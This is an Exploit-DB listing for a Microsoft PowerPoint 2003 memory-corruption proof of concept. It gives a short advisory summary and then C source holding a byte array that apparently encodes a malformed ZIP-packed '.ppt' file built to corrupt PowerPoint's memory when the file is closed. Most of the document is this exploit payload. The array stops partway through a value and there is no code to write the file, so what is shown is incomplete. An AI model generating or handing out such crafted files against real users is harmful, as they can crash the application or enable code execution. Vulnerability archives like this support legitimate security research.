Exploit-DB #28226
Description: Microsoft PowerPoint 2003 - '.ppt' File Closure Memory Corruption
Type: remote
Platform: windows
Date: 2006-07-14
Author: naveed afzal

Exploit:
// source: https://www.securityfocus.com/bid/18993/info
  
Microsoft PowerPoint is prone to multiple remote vulnerabilities.
  
Three proof-of-concept exploit files designed to trigger vulnerabilities in PowerPoint have been released.
  
It is currently unknown if these three exploit files pertain to newly discovered, unpublished vulnerabilities or if they exploit previously disclosed issues. These issues may allow remote attackers to cause crashes or to execute arbitrary machine code in the context of the affected application, but this has not been confirmed.
  
This BID will be updated and potentially split into individual records as further analysis is completed.
  
Microsoft PowerPoint 2003 is vulnerable to these issues; other versions may also be affected.

/*-----------------------------------------------------------------------------------------
* MS Power Point mem. corruption POC
* try to close this file .....
* modifying some personal bytes :P :P :P
* thanks to "psycho"
* Tested against Power Point ' 03
* -- naveed
*---------------------------------------------------------------------------------------*/
#include <stdio.h>
unsigned char ps[] = {
	0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0x9A,
0xA9, 0xEB, 0x34, 0x2C, 0xE4,
	0x59, 0x27, 0xE3, 0x2D, 0x00, 0x00, 0x00, 0x8C, 0x00, 0x00, 0x07,
0x00, 0x00, 0x00, 0x6D, 0x6D,
	0x65, 0x2E, 0x70, 0x70, 0x74, 0xEC, 0xDA, 0x09, 0x3C, 0x15, 0xEB,
0xFF, 0x07, 0xF0, 0x99, 0x39,
	0x64, 0xA9, 0x90, 0xB6, 0x2B, 0x64, 0x69, 0xD1, 0xBE, 0x4B, 0xB8,
0xA4, 0x14, 0x97, 0x44, 0xA9,
	0xA4, 0x55, 0xD1, 0x49, 0xB2, 0x2F, 0x91, 0xAD, 0x3D, 0xA5, 0xF5,
0x56, 0xD2, 0x82, 0xCA, 0xA5,
	0xDB, 0x42, 0x8B, 0xAB, 0x54, 0x2A, 0xDC, 0x2C, 0xED, 0xA8, 0x94,
0x50, 0x69, 0xD1, 0x76, 0x51,
	0xB4, 0x68, 0x21, 0xE7, 0xF7, 0xCC, 0x70, 0x3E, 0x0E, 0x11, 0xDD,
0xDB, 0x7D, 0xFD, 0x5E, 0xFF,
	0xD7, 0xEF, 0x3F, 0x5E, 0xDF, 0xCE, 0x3C, 0xEF, 0x73, 0xE6, 0x59,
0x66, 0xBE, 0xCF, 0xCC, 0x9C,
	0xE6, 0x64, 0x67, 0xB5, 0x7B, 0x18, 0x19, 0xD7, 0xE5, 0x11, 0xD5,
0x60, 0xD1, 0xA5, 0x78, 0x54,
	0xB5, 0x40, 0x8A, 0x6A, 0x25, 0x62, 0x74, 0x6D, 0x70, 0x8B, 0x1C,
0x45, 0x8D, 0xAE, 0x2D, 0x57,
	0x0B, 0x04, 0x02, 0x96, 0x46, 0x91, 0x10, 0xFC, 0xFF, 0xF2, 0x7F,
0x6A, 0xF9, 0x52, 0xFB, 0xCA,
	0x1E, 0x43, 0x31, 0x72, 0xFC, 0xC4, 0x49, 0xB0, 0xC7, 0x5C, 0x9F,
0x84, 0x24, 0x09, 0x29, 0x12,
	0xD2, 0x24, 0x5A, 0x93, 0x68, 0x43, 0xA2, 0x2D, 0x09, 0x19, 0x12,
0xB2, 0x35, 0x29, 0x40, 0xB5,
	0x23, 0x21, 0x4F, 0xA2, 0x3D, 0x89, 0x0E, 0x24, 0x3A, 0x92, 0xE8,
0x44, 0xA2, 0x33, 0x89, 0x9F,
	0x48, 0x28, 0x90, 0xE8, 0x42, 0x42, 0x91, 0x84, 0x12, 0x09, 0x65,
0x12, 0x5D, 0x49, 0xA8, 0x90,
	0x50, 0x25, 0xA1, 0x46, 0x42, 0x9D, 0x44, 0x37, 0x12, 0xDD, 0x6B,
0x73, 0xA9, 0x27, 0x79, 0xD5,
	0x20, 0xD1, 0x8B, 0x44, 0x6F, 0x12, 0x7D, 0x48, 0xF4, 0x25, 0xD1,
0x8F, 0x44, 0x7F, 0x12, 0x03,
	0x48, 0x0C, 0x24, 0x31, 0x88, 0xC4, 0x60, 0x12, 0x43, 0x48, 0x0C,
0x25, 0x31, 0x8C, 0x84, 0x26,
	0x89, 0xE1, 0x24, 0xB4, 0x48, 0x8C, 0x20, 0xA1, 0x4D, 0x42, 0x87,
0xCB, 0x67, 0x8A, 0xFA, 0x99,
	0x84, 0x5E, 0x6D, 0x1B, 0x6C, 0x18, 0xD4, 0xAE, 0xFF, 0x2F, 0x2F,
0x96, 0x94, 0x2B, 0xF9, 0xF3,
	0x22, 0xC7, 0x62, 0x2C, 0xE5, 0x42, 0x5E, 0x3D, 0x28, 0xDF, 0x86,
0xA7, 0x82, 0x6F, 0x2E, 0x9D,
	0x48, 0xC6, 0x08, 0xEB, 0x62, 0x73, 0x47, 0x6E, 0xE3, 0xF2, 0x79,
0x61, 0x16, 0x59, 0xED, 0x82,
	0xFE, 0xA2, 0x0E, 0x53, 0x67, 0x7A, 0xBF, 0x10, 0xFD, 0x6C, 0xCA,
0x22, 0xDF, 0x32, 0x7A, 0x7F,
	0x06, 0x3D, 0x86, 0xAC, 0x2F, 0x93, 0xAC, 0x31, 0x9A, 0x32, 0x24,
0xED, 0x3B, 0x53, 0x6E, 0x94,
	0x05, 0x65, 0x4B, 0x2D, 0xFC, 0xAE, 0xB6, 0xD9, 0x45, 0x9E, 0x62,
0xC8, 0x1F, 0x45, 0xB1, 0xB9,
	0xCB, 0xF6, 0xA1, 0xA5, 0xDB, 0x69, 0x53, 0xC2, 0xF6, 0x2D, 0x28,
0x27, 0x8A, 0xFF, 0xDD, 0xED,
	0x0A, 0x17, 0x69, 0xD2, 0xBA, 0xE8, 0xFE, 0x6C, 0xC9, 0x36, 0xEC,
0x39, 0xB3, 0x43, 0xED, 0xBA,
	0x21, 0xB5, 0x88, 0xEC, 0x73, 0x0F, 0xD2, 0x03, 0x17, 0xEE, 0x28,
0x4C, 0xA1, 0x3C, 0xC9, 0xBA,
	0x47, 0x8B, 0xDB, 0xEF, 0xF2, 0x37, 0xDA, 0x67, 0xF7, 0x57, 0xBF,
0xDA, 0x75, 0xE1, 0x5C, 0x68,
	0x38, 0xFF, 0x25, 0xA8, 0x7F, 0x6F, 0xFE, 0xB3, 0x6D, 0x89, 0xCE,
0xFF, 0xFF, 0xF5, 0x39, 0xF8,
	0xDF, 0x5C, 0x68, 0xB2, 0xF7, 0x79, 0xD2, 0x35, 0x73, 0xA7, 0xE1,
0xDC, 0x65, 0x8F, 0xED, 0xF8,
	0x49, 0xAA, 0x13, 0x5C, 0x7D, 0xF8, 0x1E, 0x13, 0x5C, 0x1D, 0x5C,
0xBC, 0x54, 0xB5, 0xB5, 0x1A,
	0xE6, 0x12, 0x5D, 0x93, 0x4E, 0xFF, 0x60, 0xA9, 0x90, 0xED, 0x5E,
0x9B, 0x3B, 0x36, 0x29, 0x5B,
	0x9E, 0x6C, 0x19, 0xC4, 0xE6, 0xD9, 0x3B, 0x1E, 0x8F, 0x94, 0x0D,
0x17, 0x79, 0x78, 0xF0, 0x49,
	0xAB, 0x53, 0x3C, 0xF9, 0x1E, 0x92, 0x4D, 0x6C, 0x6D, 0xA0, 0xD7,
0xA5, 0x2C, 0x9A, 0x24, 0x6C,
	0xE9, 0xF8, 0x78, 0xF6, 0x12, 0x40, 0xB9, 0xAB, 0x9B, 0xCC, 0xEB,
0xA4, 0x49, 0xA9, 0x3E, 0x34,
	0xAD, 0xFB, 0x8C, 0x9B, 0x2D, 0xB9, 0xB6, 0x90, 0x8B, 0xC2, 0x32,
0xE7, 0x75, 0xD4, 0x3E, 0x75,
	0x33, 0xCA, 0x83, 0x4D, 0xF0, 0xEA, 0xC5, 0xE1, 0xA5, 0xE1, 0xA3,
0x16, 0x84, 0x8F, 0xED, 0xB0,
	0xAC, 0xD0, 0x2C, 0xD1, 0xD9, 0xC9, 0xB2, 0xA3, 0xA2, 0xA9, 0xE1,
0x0C, 0x93, 0x6E, 0x09, 0xA6,
	0x63, 0xB6, 0xFE, 0x6E, 0x75, 0x3E, 0x7A, 0xAD, 0xA2, 0x94, 0x9A,
0xF8, 0x96, 0xAE, 0xF9, 0x93,
	0x9C, 0x62, 0x82, 0x6E, 0xEE, 0x36, 0x30, 0xD9, 0xE6, 0x68, 0x20,
0xAB, 0x6E, 0xED, 0xE1, 0xE8,
	0x2F, 0x2D, 0xD9, 0xBA, 0xEB, 0xCF, 0xD2, 0xA6, 0x97, 0xD4, 0x8A,
0x72, 0x56, 0x9E, 0x3A, 0xA8,
	0x35, 0xB6, 0x7C, 0x6B, 0x4F, 0x55, 0xF5, 0x15, 0x9D, 0xDD, 0x03,
0x5D, 0xED, 0xF7, 0x08, 0x0A,
	0x2E, 0x57, 0xDD, 0xDF, 0x55, 0x94, 0xE5, 0xB5, 0x5A, 0xF0, 0x67,
0x59, 0x75, 0xA0, 0xAB, 0xF7,
	0x83, 0x02, 0xAD, 0xC2, 0x6B, 0xC9, 0x9F, 0x04, 0x4B, 0xA3, 0xA8,
0x87, 0x7A, 0x97, 0x8A, 0x8A,
	0x65, 0x96, 0x0D, 0x88, 0x38, 0xBF, 0xE7, 0x8C, 0x74, 0xD9, 0x3D,
0xED, 0x65, 0x49, 0x37, 0x5A,
	0xBB, 0xD2, 0xBD, 0x3E, 0xFA, 0x2A, 0x3D, 0x94, 0xFF, 0xFC, 0x61,
0x54, 0x7C, 0xC0, 0xCA, 0xD7,
	0xC5, 0x46, 0x95, 0x85, 0x8B, 0xAB, 0x0E, 0x3D, 0xD1, 0x5D, 0x5B,
0xEA, 0x50, 0xFE, 0x59, 0xAA,
	0x72, 0x77, 0xE1, 0xAD, 0x95, 0x17, 0xEF, 0xDF, 0x9